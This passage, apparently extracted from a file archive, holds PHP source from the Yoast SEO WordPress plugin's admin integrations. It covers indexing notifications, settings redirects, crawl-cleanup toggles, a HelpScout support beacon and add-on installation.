$my_parent = $my_parent->post_parent;
}
while ( $my_parent = \array_pop( $my_parents ) ) {
$to_display[] = $my_parent->ID;
}
}
if ( $count >= $start ) {
$to_display[] = $page->ID;
}
++$count;
$this->get_child_page_ids( $children_pages, $count, $page->ID, $start, $end, $to_display, $pages_map );
}
unset( $children_pages[ $parent_id ] ); // Required in order to keep track of orphans.
}
}
integrations/admin/indexables-exclude-taxonomy-integration.php 0000644 00000002613 15207625454 0021031 0 ustar 00 options_helper = $options_helper;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
\add_filter( 'wpseo_indexable_excluded_taxonomies', [ $this, 'exclude_taxonomies_for_indexation' ] );
}
/**
* Exclude the taxonomy from the indexable table.
*
* @param array $excluded_taxonomies The excluded taxonomies.
*
* @return array The excluded taxonomies, including specific taxonomies.
*/
public function exclude_taxonomies_for_indexation( $excluded_taxonomies ) {
$taxonomies_to_exclude = \array_merge( $excluded_taxonomies, [ 'wp_pattern_category' ] );
if ( $this->options_helper->get( 'disable-post_format', false ) ) {
return \array_merge( $taxonomies_to_exclude, [ 'post_format' ] );
}
return $taxonomies_to_exclude;
}
}
integrations/admin/indexing-notification-integration.php 0000644 00000015711 15207625454 0017704 0 ustar 00 notification_center = $notification_center;
$this->product_helper = $product_helper;
$this->page_helper = $page_helper;
$this->short_link_helper = $short_link_helper;
$this->notification_helper = $notification_helper;
$this->indexing_helper = $indexing_helper;
$this->addon_manager = $addon_manager;
$this->environment_helper = $environment_helper;
}
/**
* Initializes the integration.
*
* Adds hooks and jobs to cleanup or add the notification when necessary.
*
* @return void
*/
public function register_hooks() {
if ( $this->page_helper->get_current_yoast_seo_page() === 'wpseo_dashboard' ) {
\add_action( 'admin_init', [ $this, 'maybe_cleanup_notification' ] );
}
if ( $this->indexing_helper->has_reason() ) {
\add_action( 'admin_init', [ $this, 'maybe_create_notification' ] );
}
\add_action( self::NOTIFICATION_ID, [ $this, 'maybe_create_notification' ] );
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* @return array The conditionals.
*/
public static function get_conditionals() {
return [
Admin_Conditional::class,
Not_Admin_Ajax_Conditional::class,
User_Can_Manage_Wpseo_Options_Conditional::class,
];
}
/**
* Checks whether the notification should be shown and adds
* it to the notification center if this is the case.
*
* @return void
*/
public function maybe_create_notification() {
if ( ! $this->should_show_notification() ) {
return;
}
if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
$notification = $this->notification();
$this->notification_helper->restore_notification( $notification );
$this->notification_center->add_notification( $notification );
}
}
/**
* Checks whether the notification should not be shown anymore and removes
* it from the notification center if this is the case.
*
* @return void
*/
public function maybe_cleanup_notification() {
$notification = $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID );
if ( $notification === null ) {
return;
}
if ( $this->should_show_notification() ) {
return;
}
$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
}
/**
* Checks whether the notification should be shown.
*
* @return bool If the notification should be shown.
*/
protected function should_show_notification() {
if ( ! $this->environment_helper->is_production_mode() ) {
return false;
}
// Don't show a notification if the indexing has already been started earlier.
if ( $this->indexing_helper->get_started() > 0 ) {
return false;
}
// We're about to perform expensive queries, let's inform.
\add_filter( 'wpseo_unindexed_count_queries_ran', '__return_true' );
// Never show a notification when nothing should be indexed.
return $this->indexing_helper->get_limited_filtered_unindexed_count( 1 ) > 0;
}
/**
* Returns an instance of the notification.
*
* @return Yoast_Notification The notification to show.
*/
protected function notification() {
$reason = $this->indexing_helper->get_reason();
$presenter = $this->get_presenter( $reason );
return new Yoast_Notification(
$presenter,
[
'type' => Yoast_Notification::WARNING,
'id' => self::NOTIFICATION_ID,
'capabilities' => 'wpseo_manage_options',
'priority' => 0.8,
],
);
}
/**
* Gets the presenter to use to show the notification.
*
* @param string $reason The reason for the notification.
*
* @return Indexing_Failed_Notification_Presenter|Indexing_Notification_Presenter
*/
protected function get_presenter( $reason ) {
if ( $reason === Indexing_Reasons::REASON_INDEXING_FAILED ) {
$presenter = new Indexing_Failed_Notification_Presenter( $this->product_helper, $this->short_link_helper, $this->addon_manager );
}
else {
$total_unindexed = $this->indexing_helper->get_filtered_unindexed_count();
$presenter = new Indexing_Notification_Presenter( $this->short_link_helper, $total_unindexed, $reason );
}
return $presenter;
}
}
integrations/admin/redirect-integration.php 0000644 00000005742 15207625454 0015217 0 ustar 00 redirect = $redirect;
$this->short_link_helper = $short_link_helper;
}
/**
* Returns the conditionals based in which this loadable should be active.
*
* @return array
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
\add_action( 'wp_loaded', [ $this, 'settings_redirect' ] );
}
/**
* Catch all method to redirect certain pages related to redirects.
*
* @return void
*/
public function settings_redirect() {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( ! isset( $_GET['page'] ) ) {
return;
}
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
$current_page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) );
switch ( $current_page ) {
case 'wpseo_titles': // Redirect to new settings URLs. We're adding this, so that not-updated add-ons don't point to non-existent pages.
$this->redirect->do_safe_redirect( \admin_url( 'admin.php?page=wpseo_page_settings#/site-representation' ), 301 );
return;
case 'wpseo_redirects_tools': // Redirect to Yoast redirection page, from the respective WP tools page.
$this->redirect->do_safe_redirect( \admin_url( 'admin.php?page=wpseo_redirects&from_tools=1' ), 302 );
return;
case 'wpseo_brand_insights':
$this->redirect->do_unsafe_redirect( $this->short_link_helper->get( 'https://yoa.st/brand-insights-wp-admin' ), 302 );
return;
case 'wpseo_brand_insights_premium':
$this->redirect->do_unsafe_redirect( $this->short_link_helper->get( 'https://yoa.st/brand-insights-wp-admin-premium' ), 302 );
return;
default:
return;
}
}
/**
* Old method kept for backward compatibility.
*
* @deprecated 26.2
* @codeCoverageIgnore Because of deprecation.
* @return void
*/
public function old_settings_redirect() {
\_deprecated_function( __METHOD__, 'Yoast SEO 26.2', 'Use settings_redirect() instead.' );
$this->settings_redirect();
}
}
integrations/admin/crawl-settings-integration.php 0000644 00000025624 15207625454 0016365 0 ustar 00
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Crawl_Settings_Integration constructor.
*
* @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
* @param WPSEO_Shortlinker $shortlinker The shortlinker.
*/
public function __construct( WPSEO_Admin_Asset_Manager $admin_asset_manager, WPSEO_Shortlinker $shortlinker ) {
$this->admin_asset_manager = $admin_asset_manager;
$this->shortlinker = $shortlinker;
}
/**
* Registers an action to add a new tab to the General page.
*
* @return void
*/
public function register_hooks() {
$this->register_setting_labels();
\add_action( 'wpseo_settings_tab_crawl_cleanup_network', [ $this, 'add_crawl_settings_tab_content_network' ] );
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
}
/**
* Enqueue the workouts app.
*
* @return void
*/
public function enqueue_assets() {
if ( ! \is_network_admin() ) {
return;
}
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Page is not processed or saved.
if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_dashboard' ) {
return;
}
$this->admin_asset_manager->enqueue_script( 'crawl-settings' );
}
/**
* Connects the settings to their labels.
*
* @return void
*/
private function register_setting_labels() {
$this->feed_settings = [
'remove_feed_global' => \__( 'Global feed', 'wordpress-seo' ),
'remove_feed_global_comments' => \__( 'Global comment feeds', 'wordpress-seo' ),
'remove_feed_post_comments' => \__( 'Post comments feeds', 'wordpress-seo' ),
'remove_feed_authors' => \__( 'Post authors feeds', 'wordpress-seo' ),
'remove_feed_post_types' => \__( 'Post type feeds', 'wordpress-seo' ),
'remove_feed_categories' => \__( 'Category feeds', 'wordpress-seo' ),
'remove_feed_tags' => \__( 'Tag feeds', 'wordpress-seo' ),
'remove_feed_custom_taxonomies' => \__( 'Custom taxonomy feeds', 'wordpress-seo' ),
'remove_feed_search' => \__( 'Search results feeds', 'wordpress-seo' ),
'remove_atom_rdf_feeds' => \__( 'Atom/RDF feeds', 'wordpress-seo' ),
];
$this->basic_settings = [
'remove_shortlinks' => \__( 'Shortlinks', 'wordpress-seo' ),
'remove_rest_api_links' => \__( 'REST API links', 'wordpress-seo' ),
'remove_rsd_wlw_links' => \__( 'RSD / WLW links', 'wordpress-seo' ),
'remove_oembed_links' => \__( 'oEmbed links', 'wordpress-seo' ),
'remove_generator' => \__( 'Generator tag', 'wordpress-seo' ),
'remove_pingback_header' => \__( 'Pingback HTTP header', 'wordpress-seo' ),
'remove_powered_by_header' => \__( 'Powered by HTTP header', 'wordpress-seo' ),
];
$this->permalink_cleanup_settings = [
'clean_campaign_tracking_urls' => \__( 'Campaign tracking URL parameters', 'wordpress-seo' ),
'clean_permalinks' => \__( 'Unregistered URL parameters', 'wordpress-seo' ),
];
$this->search_cleanup_settings = [
'search_cleanup' => \__( 'Filter search terms', 'wordpress-seo' ),
'search_cleanup_emoji' => \__( 'Filter searches with emojis and other special characters', 'wordpress-seo' ),
'search_cleanup_patterns' => \__( 'Filter searches with common spam patterns', 'wordpress-seo' ),
'deny_search_crawling' => \__( 'Prevent search engines from crawling site search URLs', 'wordpress-seo' ),
'redirect_search_pretty_urls' => \__( 'Redirect pretty URLs for search pages to raw format', 'wordpress-seo' ),
];
$this->unused_resources_settings = [
'remove_emoji_scripts' => \__( 'Emoji scripts', 'wordpress-seo' ),
'deny_wp_json_crawling' => \__( 'Prevent search engines from crawling /wp-json/', 'wordpress-seo' ),
'deny_adsbot_crawling' => \__( 'Prevent Google AdsBot from crawling', 'wordpress-seo' ),
];
}
/**
* Adds content to the Crawl Cleanup network tab.
*
* @param Yoast_Form $yform The yoast form object.
*
* @return void
*/
public function add_crawl_settings_tab_content_network( $yform ) {
$this->add_crawl_settings( $yform );
}
/**
* Print the settings sections.
*
* @param Yoast_Form $yform The Yoast form class.
*
* @return void
*/
private function add_crawl_settings( $yform ) {
$this->print_toggles( $this->basic_settings, $yform, \__( 'Basic crawl settings', 'wordpress-seo' ) );
$this->print_toggles( $this->feed_settings, $yform, \__( 'Feed crawl settings', 'wordpress-seo' ) );
$this->print_toggles( $this->unused_resources_settings, $yform, \__( 'Remove unused resources', 'wordpress-seo' ) );
$first_search_setting = \array_slice( $this->search_cleanup_settings, 0, 1 );
$rest_search_settings = \array_slice( $this->search_cleanup_settings, 1 );
$search_settings_toggles = [
'off' => \__( 'Disabled', 'wordpress-seo' ),
'on' => \__( 'Enabled', 'wordpress-seo' ),
];
$this->print_toggles( $first_search_setting, $yform, \__( 'Search cleanup settings', 'wordpress-seo' ), $search_settings_toggles );
$this->print_toggles( $rest_search_settings, $yform, '', $search_settings_toggles );
$permalink_warning = \sprintf(
/* Translators: %1$s expands to an opening anchor tag for a link leading to the Yoast SEO page of the Permalink Cleanup features, %2$s expands to a closing anchor tag. */
\esc_html__(
'These are expert features, so make sure you know what you\'re doing before removing the parameters. %1$sRead more about how your site can be affected%2$s.',
'wordpress-seo',
),
'',
'',
);
$this->print_toggles( $this->permalink_cleanup_settings, $yform, \__( 'Permalink cleanup settings', 'wordpress-seo' ), [], $permalink_warning );
// Add the original option as hidden, so as not to lose any values if it's disabled and the form is saved.
$yform->hidden( 'clean_permalinks_extra_variables', 'clean_permalinks_extra_variables' );
}
/**
* Prints a list of toggles for an array of settings with labels.
*
* @param array $settings The settings being displayed.
* @param Yoast_Form $yform The Yoast form class.
* @param string $title Optional title for the settings being displayed.
* @param array $toggles Optional naming of the toggle buttons.
* @param string $warning Optional warning to be displayed above the toggles.
*
* @return void
*/
private function print_toggles( array $settings, Yoast_Form $yform, $title = '', $toggles = [], $warning = '' ) {
if ( ! empty( $title ) ) {
echo '
', \esc_html( $title ), '
';
}
if ( ! empty( $warning ) ) {
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in Alert_Presenter.
echo new Alert_Presenter( $warning, 'warning' );
}
if ( empty( $toggles ) ) {
$toggles = [
'off' => \__( 'Keep', 'wordpress-seo' ),
'on' => \__( 'Remove', 'wordpress-seo' ),
];
}
$setting_prefix = WPSEO_Option::ALLOW_KEY_PREFIX;
$toggles = [
// phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- Reason: text is originally from Yoast SEO.
'on' => \__( 'Allow Control', 'wordpress-seo' ),
// phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- Reason: text is originally from Yoast SEO.
'off' => \__( 'Disable', 'wordpress-seo' ),
];
foreach ( $settings as $setting => $label ) {
$attr = [];
$variable = $setting_prefix . $setting;
if ( $this->should_feature_be_disabled_permalink( $setting ) ) {
$attr = [
'disabled' => true,
];
$variable = $setting_prefix . $setting . '_disabled';
// Also add the original option as hidden, so as not to lose any values if it's disabled and the form is saved.
$yform->hidden( $setting_prefix . $setting, $setting_prefix . $setting );
}
elseif ( $this->should_feature_be_disabled_multisite( $setting ) ) {
$attr = [
'disabled' => true,
'preserve_disabled_value' => false,
];
}
$yform->toggle_switch(
$variable,
$toggles,
$label,
'',
$attr,
);
if ( $this->should_feature_be_disabled_permalink( $setting ) ) {
echo '
';
if ( \current_user_can( 'manage_options' ) ) {
\printf(
/* translators: 1: Link start tag to the Permalinks settings page, 2: Link closing tag. */
\esc_html__( 'This feature is disabled when your site is not using %1$spretty permalinks%2$s.', 'wordpress-seo' ),
'',
'',
);
}
else {
echo \esc_html__( 'This feature is disabled when your site is not using pretty permalinks.', 'wordpress-seo' );
}
echo '
';
}
}
}
/**
* Checks if the feature should be disabled due to non-pretty permalinks.
*
* @param string $setting The setting to be displayed.
*
* @return bool
*/
protected function should_feature_be_disabled_permalink( $setting ) {
return (
\in_array( $setting, [ 'clean_permalinks', 'clean_campaign_tracking_urls' ], true )
&& empty( \get_option( 'permalink_structure' ) )
);
}
/**
* Checks if the feature should be disabled due to the site being a multisite.
*
* @param string $setting The setting to be displayed.
*
* @return bool
*/
protected function should_feature_be_disabled_multisite( $setting ) {
return (
\in_array( $setting, [ 'deny_search_crawling', 'deny_wp_json_crawling', 'deny_adsbot_crawling' ], true )
&& \is_multisite()
);
}
}
integrations/admin/helpscout-beacon.php 0000644 00000034315 15207625455 0014327 0 ustar 00
*/
protected $products = [];
/**
* Whether to ask the user's consent before loading in HelpScout.
*
* @var bool
*/
protected $ask_consent = true;
/**
* The options helper.
*
* @var Options_Helper
*/
protected $options;
/**
* The addon manager.
*
* @var WPSEO_Addon_Manager
*/
protected $addon_manager;
/**
* The array of pages we need to show the beacon on with their respective beacon IDs.
*
* @var array
*/
protected $pages_ids;
/**
* The array of pages we need to show the beacon on.
*
* @var array
*/
protected $base_pages = [
'wpseo_dashboard',
Settings_Integration::PAGE,
Academy_Integration::PAGE,
Support_Integration::PAGE,
'wpseo_search_console',
'wpseo_tools',
Plans_Page_Integration::PAGE,
'wpseo_workouts',
'wpseo_integrations',
];
/**
* The current admin page
*
* @var string|null
*/
protected $page;
/**
* The asset manager.
*
* @var WPSEO_Admin_Asset_Manager
*/
protected $asset_manager;
/**
* The migration status object.
*
* @var Migration_Status
*/
protected $migration_status;
/**
* Headless_Rest_Endpoints_Enabled_Conditional constructor.
*
* @param Options_Helper $options The options helper.
* @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager.
* @param Migration_Status $migration_status The migrations status.
* @param WPSEO_Addon_Manager $addon_manager The addon manager.
*/
public function __construct( Options_Helper $options, WPSEO_Admin_Asset_Manager $asset_manager, Migration_Status $migration_status, WPSEO_Addon_Manager $addon_manager ) {
$this->options = $options;
$this->asset_manager = $asset_manager;
$this->addon_manager = $addon_manager;
$this->ask_consent = ! $this->options->get( 'tracking' );
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
$this->page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) );
}
else {
$this->page = null;
}
$this->migration_status = $migration_status;
$beacon_id = $this->get_beacon_id();
foreach ( $this->base_pages as $page ) {
$this->pages_ids[ $page ] = $beacon_id;
}
}
/**
* {@inheritDoc}
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_help_scout_script' ] );
\add_action( 'admin_footer', [ $this, 'output_beacon_js' ] );
}
/**
* Enqueues the HelpScout script.
*
* @return void
*/
public function enqueue_help_scout_script() {
// Make sure plugins can filter in their "stuff", before we check whether we're outputting a beacon.
$this->filter_settings();
if ( ! $this->is_beacon_page() ) {
return;
}
$this->asset_manager->enqueue_script( 'help-scout-beacon' );
}
/**
* Outputs a small piece of javascript for the beacon.
*
* @return void
*/
public function output_beacon_js() {
if ( ! $this->is_beacon_page() ) {
return;
}
\printf(
'',
( $this->ask_consent ) ? 'wpseoHelpScoutBeaconConsent' : 'wpseoHelpScoutBeacon',
\esc_html( $this->pages_ids[ $this->page ] ),
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- escaping done in format_json_encode.
WPSEO_Utils::format_json_encode( (array) $this->get_session_data() ),
);
}
/**
* Checks if the current page is a page containing the beacon.
*
* @return bool
*/
private function is_beacon_page() {
$return = false;
if ( ! empty( $this->page ) && $GLOBALS['pagenow'] === 'admin.php' && isset( $this->pages_ids[ $this->page ] ) ) {
$return = true;
}
/**
* Filter: 'wpseo_helpscout_show_beacon' - Allows overriding whether we show the HelpScout beacon.
*
* @param bool $show_beacon Whether we show the beacon or not.
*/
return \apply_filters( 'wpseo_helpscout_show_beacon', $return );
}
/**
* Retrieves the identifying data.
*
* @return string The data to pass as identifying data.
*/
protected function get_session_data() {
// Short-circuit if we can get the needed data from a transient.
$transient_data = \get_transient( 'yoast_beacon_session_data' );
if ( \is_array( $transient_data ) ) {
return WPSEO_Utils::format_json_encode( $transient_data );
}
$current_user = \wp_get_current_user();
// Do not make these strings translatable! They are for our support agents, the user won't see them!
$data = \array_merge(
[
'name' => \trim( $current_user->user_firstname . ' ' . $current_user->user_lastname ),
'email' => $current_user->user_email,
'Languages' => $this->get_language_settings(),
],
$this->get_server_info(),
[
'WordPress Version' => $this->get_wordpress_version(),
'Active theme' => $this->get_theme_info(),
'Active plugins' => $this->get_active_plugins(),
'Must-use and dropins' => $this->get_mustuse_and_dropins(),
'Indexables status' => $this->get_indexables_status(),
],
);
if ( ! empty( $this->products ) ) {
$addon_manager = new WPSEO_Addon_Manager();
foreach ( $this->products as $product ) {
$subscription = $addon_manager->get_subscription( $product );
if ( ! $subscription ) {
continue;
}
$data[ $subscription->product->name ] = $this->get_product_info( $subscription );
}
}
// Store the data in a transient for 5 minutes to prevent overhead on every backend pageload.
\set_transient( 'yoast_beacon_session_data', $data, ( 5 * \MINUTE_IN_SECONDS ) );
return WPSEO_Utils::format_json_encode( $data );
}
/**
* Returns basic info about the server software.
*
* @return array
*/
private function get_server_info() {
$server_tracking_data = new WPSEO_Tracking_Server_Data();
$server_data = $server_tracking_data->get();
$server_data = $server_data['server'];
$fields_to_use = [
'Server IP' => 'ip',
'PHP Version' => 'PhpVersion',
'cURL Version' => 'CurlVersion',
];
$server_data['CurlVersion'] = $server_data['CurlVersion']['version'] . ' (SSL Support ' . $server_data['CurlVersion']['sslSupport'] . ')';
$server_info = [];
foreach ( $fields_to_use as $label => $field_to_use ) {
if ( isset( $server_data[ $field_to_use ] ) ) {
$server_info[ $label ] = \esc_html( $server_data[ $field_to_use ] );
}
}
// Get the memory limits for the server and, if different, from WordPress as well.
$memory_limit = \ini_get( 'memory_limit' );
$server_info['Memory limits'] = 'Server memory limit: ' . $memory_limit;
if ( $memory_limit !== \WP_MEMORY_LIMIT ) {
$server_info['Memory limits'] .= ', WP_MEMORY_LIMIT: ' . \WP_MEMORY_LIMIT;
}
if ( $memory_limit !== \WP_MAX_MEMORY_LIMIT ) {
$server_info['Memory limits'] .= ', WP_MAX_MEMORY_LIMIT: ' . \WP_MAX_MEMORY_LIMIT;
}
return $server_info;
}
/**
* Returns info about the Yoast SEO plugin version and license.
*
* @param object $plugin The plugin.
*
* @return string The product info.
*/
private function get_product_info( $plugin ) {
if ( empty( $plugin ) ) {
return '';
}
$product_info = \sprintf(
'Expiration date %1$s',
$plugin->expiry_date,
);
return $product_info;
}
/**
* Returns the WordPress version + a suffix about the multisite status.
*
* @return string The WordPress version string.
*/
private function get_wordpress_version() {
global $wp_version;
$wordpress_version = $wp_version;
if ( \is_multisite() ) {
$wordpress_version .= ' (multisite: yes)';
}
else {
$wordpress_version .= ' (multisite: no)';
}
return $wordpress_version;
}
/**
* Returns information about the current theme.
*
* @return string The theme info as string.
*/
private function get_theme_info() {
$theme = \wp_get_theme();
$theme_info = \sprintf(
'%1$s (Version %2$s, %3$s)',
\esc_html( $theme->display( 'Name' ) ),
\esc_html( $theme->display( 'Version' ) ),
\esc_attr( $theme->display( 'ThemeURI' ) ),
);
if ( \is_child_theme() ) {
$theme_info .= \sprintf( ', this is a child theme of: %1$s', \esc_html( $theme->display( 'Template' ) ) );
}
return $theme_info;
}
/**
* Returns a stringified list of all active plugins, separated by a pipe.
*
* @return string The active plugins.
*/
private function get_active_plugins() {
$updates_available = \get_site_transient( 'update_plugins' );
$active_plugins = '';
foreach ( \wp_get_active_and_valid_plugins() as $plugin ) {
$plugin_data = \get_plugin_data( $plugin );
$plugin_file = \str_replace( \trailingslashit( \WP_PLUGIN_DIR ), '', $plugin );
$plugin_update_available = '';
if ( isset( $updates_available->response[ $plugin_file ] ) ) {
$plugin_update_available = ' [update available]';
}
$active_plugins .= \sprintf(
'%1$s (Version %2$s%3$s, %4$s) | ',
\esc_html( $plugin_data['Name'] ),
\esc_html( $plugin_data['Version'] ),
$plugin_update_available,
\esc_attr( $plugin_data['PluginURI'] ),
);
}
return $active_plugins;
}
/**
* Returns a CSV list of all must-use and drop-in plugins.
*
* @return string The active plugins.
*/
private function get_mustuse_and_dropins() {
$dropins = \get_dropins();
$mustuse_plugins = \get_mu_plugins();
if ( ! \is_array( $dropins ) ) {
$dropins = [];
}
if ( ! \is_array( $mustuse_plugins ) ) {
$mustuse_plugins = [];
}
return \sprintf( 'Must-Use plugins: %1$d, Drop-ins: %2$d', \count( $mustuse_plugins ), \count( $dropins ) );
}
/**
* Return the indexables status details.
*
* @return string The indexables status in a string.
*/
private function get_indexables_status() {
$indexables_status = 'Indexing completed: ';
$indexing_completed = $this->options->get( 'indexables_indexing_completed' );
$indexing_reason = $this->options->get( 'indexing_reason' );
$indexables_status .= ( $indexing_completed ) ? 'yes' : 'no';
$indexables_status .= ( $indexing_reason ) ? ', latest indexing reason: ' . \esc_html( $indexing_reason ) : '';
foreach ( [ 'free', 'premium' ] as $migration_name ) {
$current_status = $this->migration_status->get_error( $migration_name );
if ( \is_array( $current_status ) && isset( $current_status['message'] ) ) {
$indexables_status .= ', migration error: ' . \esc_html( $current_status['message'] );
}
}
return $indexables_status;
}
/**
* Returns language settings for the website and the current user.
*
* @return string The locale settings of the site and user.
*/
private function get_language_settings() {
$site_locale = \get_locale();
$user_locale = \get_user_locale();
$language_settings = \sprintf(
'Site locale: %1$s, user locale: %2$s',
( \is_string( $site_locale ) ) ? \esc_html( $site_locale ) : 'unknown',
( \is_string( $user_locale ) ) ? \esc_html( $user_locale ) : 'unknown',
);
return $language_settings;
}
/**
* Returns the conditionals based on which this integration should be active.
*
* @return array The array of conditionals.
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Get the beacon id to use based on the user's subscription and tracking settings.
*
* @return string The beacon id to use.
*/
private function get_beacon_id() {
// Case where the user has a Yoast WooCommerce SEO plan subscription (highest priority).
if ( $this->addon_manager->has_active_addons() && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ) {
return $this->beacon_id_woocommerce;
}
// Case where the user has a Yoast SEO Premium plan subscription.
if ( $this->addon_manager->has_active_addons() && $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) {
return $this->beacon_id_premium;
}
// Case where the user has no plan active and tracking enabled.
if ( $this->ask_consent ) {
return $this->beacon_id_tracking_users;
}
// Case where the user has no plan active and tracking disabled.
return $this->beacon_id;
}
/**
* Allows filtering of the HelpScout settings. Hooked to admin_head to prevent timing issues, not too early, not too late.
*
* @return void
*/
protected function filter_settings() {
$filterable_helpscout_setting = [
'products' => $this->products,
'pages_ids' => $this->pages_ids,
];
/**
* Filter: 'wpseo_helpscout_beacon_settings' - Allows overriding the HelpScout beacon settings.
*
* @param string $beacon_settings The HelpScout beacon settings.
*/
$helpscout_settings = \apply_filters( 'wpseo_helpscout_beacon_settings', $filterable_helpscout_setting );
$this->products = $helpscout_settings['products'];
$this->pages_ids = $helpscout_settings['pages_ids'];
}
}
integrations/admin/first-time-configuration-notice-integration.php 0000644 00000011775 15207625455 0021631 0 ustar 00 options_helper = $options_helper;
$this->admin_asset_manager = $admin_asset_manager;
$this->first_time_configuration_notice_helper = $first_time_configuration_notice_helper;
}
/**
* {@inheritDoc}
*/
public function register_hooks() {
\add_action( 'wp_ajax_dismiss_first_time_configuration_notice', [ $this, 'dismiss_first_time_configuration_notice' ] );
\add_action( 'admin_notices', [ $this, 'first_time_configuration_notice' ] );
}
/**
* Dismisses the First-time configuration notice.
*
* @return bool
*/
public function dismiss_first_time_configuration_notice() {
// Check for nonce.
if ( ! \check_ajax_referer( 'wpseo-dismiss-first-time-configuration-notice', 'nonce', false ) ) {
return false;
}
return $this->options_helper->set( 'dismiss_configuration_workout_notice', true );
}
/**
* Determines whether and where the "First-time SEO Configuration" admin notice should be displayed.
*
* @return bool Whether the "First-time SEO Configuration" admin notice should be displayed.
*/
public function should_display_first_time_configuration_notice() {
return $this->first_time_configuration_notice_helper->should_display_first_time_configuration_notice();
}
/**
* Displays an admin notice when the first-time configuration has not been finished yet.
*
* @return void
*/
public function first_time_configuration_notice() {
if ( ! $this->should_display_first_time_configuration_notice() ) {
return;
}
$this->admin_asset_manager->enqueue_style( 'monorepo' );
$title = $this->first_time_configuration_notice_helper->get_first_time_configuration_title();
$link_url = \esc_url( \self_admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );
if ( ! $this->first_time_configuration_notice_helper->should_show_alternate_message() ) {
$content = \sprintf(
/* translators: 1: Link start tag to the first-time configuration, 2: Yoast SEO, 3: Link closing tag. */
\__( 'Get started quickly with the %1$s%2$s First-time configuration%3$s and configure Yoast SEO with the optimal SEO settings for your site!', 'wordpress-seo' ),
'',
'Yoast SEO',
'',
);
}
else {
$content = \sprintf(
/* translators: 1: Link start tag to the first-time configuration, 2: Link closing tag. */
\__( 'We noticed that you haven\'t fully configured Yoast SEO yet. Optimize your SEO settings even further by using our improved %1$s First-time configuration%2$s.', 'wordpress-seo' ),
'',
'',
);
}
$notice = new Notice_Presenter(
$title,
$content,
'mirrored_fit_bubble_woman_1_optim.svg',
null,
true,
'yoast-first-time-configuration-notice',
);
//phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe.
echo $notice->present();
// Enable permanently dismissing the notice.
echo '';
}
}
integrations/admin/addon-installation/dialog-integration.php 0000644 00000006664 15207625455 0020446 0 ustar 00 addon_manager = $addon_manager;
}
/**
* Registers all hooks to WordPress.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_init', [ $this, 'start_addon_installation' ] );
}
/**
* Starts the addon installation flow.
*
* @return void
*/
public function start_addon_installation() {
// Only show the dialog when we explicitly want to see it.
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: This is not a form.
if ( ! isset( $_GET['install'] ) || $_GET['install'] !== 'true' ) {
return;
}
$this->bust_myyoast_addon_information_cache();
$this->owned_addons = $this->get_owned_addons();
if ( \count( $this->owned_addons ) > 0 ) {
\add_action( 'admin_enqueue_scripts', [ $this, 'show_modal' ] );
}
else {
\add_action( 'admin_notices', [ $this, 'throw_no_owned_addons_warning' ] );
}
}
/**
* Throws a no owned addons warning.
*
* @return void
*/
public function throw_no_owned_addons_warning() {
echo '
'
. \sprintf(
/* translators: %1$s expands to Yoast SEO */
\esc_html__(
'No %1$s plugins have been installed. You don\'t seem to own any active subscriptions.',
'wordpress-seo',
),
'Yoast SEO',
)
. '
';
}
/**
* Shows the modal.
*
* @return void
*/
public function show_modal() {
\wp_localize_script(
WPSEO_Admin_Asset_Manager::PREFIX . 'addon-installation',
'wpseoAddonInstallationL10n',
[
'addons' => $this->owned_addons,
'nonce' => \wp_create_nonce( 'wpseo_addon_installation' ),
],
);
$asset_manager = new WPSEO_Admin_Asset_Manager();
$asset_manager->enqueue_script( 'addon-installation' );
}
/**
* Retrieves a list of owned addons for the site in MyYoast.
*
* @return array List of owned addons with slug as key and name as value.
*/
protected function get_owned_addons() {
$owned_addons = [];
foreach ( $this->addon_manager->get_myyoast_site_information()->subscriptions as $addon ) {
$owned_addons[] = $addon->product->name;
}
return $owned_addons;
}
/**
* Bust the site information transients to have fresh data.
*
* @return void
*/
protected function bust_myyoast_addon_information_cache() {
$this->addon_manager->remove_site_information_transients();
}
}
integrations/admin/addon-installation/installation-integration.php 0000644 00000014016 15207625455 0021676 0 ustar 00 addon_manager = $addon_manager;
$this->addon_activate_action = $addon_activate_action;
$this->addon_install_action = $addon_install_action;
}
/**
* Registers all hooks to WordPress.
*
* @return void
*/
public function register_hooks() {
\add_action( 'wpseo_install_and_activate_addons', [ $this, 'install_and_activate_addons' ] );
}
/**
* Installs and activates missing addons.
*
* @return void
*/
public function install_and_activate_addons() {
if ( ! isset( $_GET['action'] ) || ! \is_string( $_GET['action'] ) ) {
return;
}
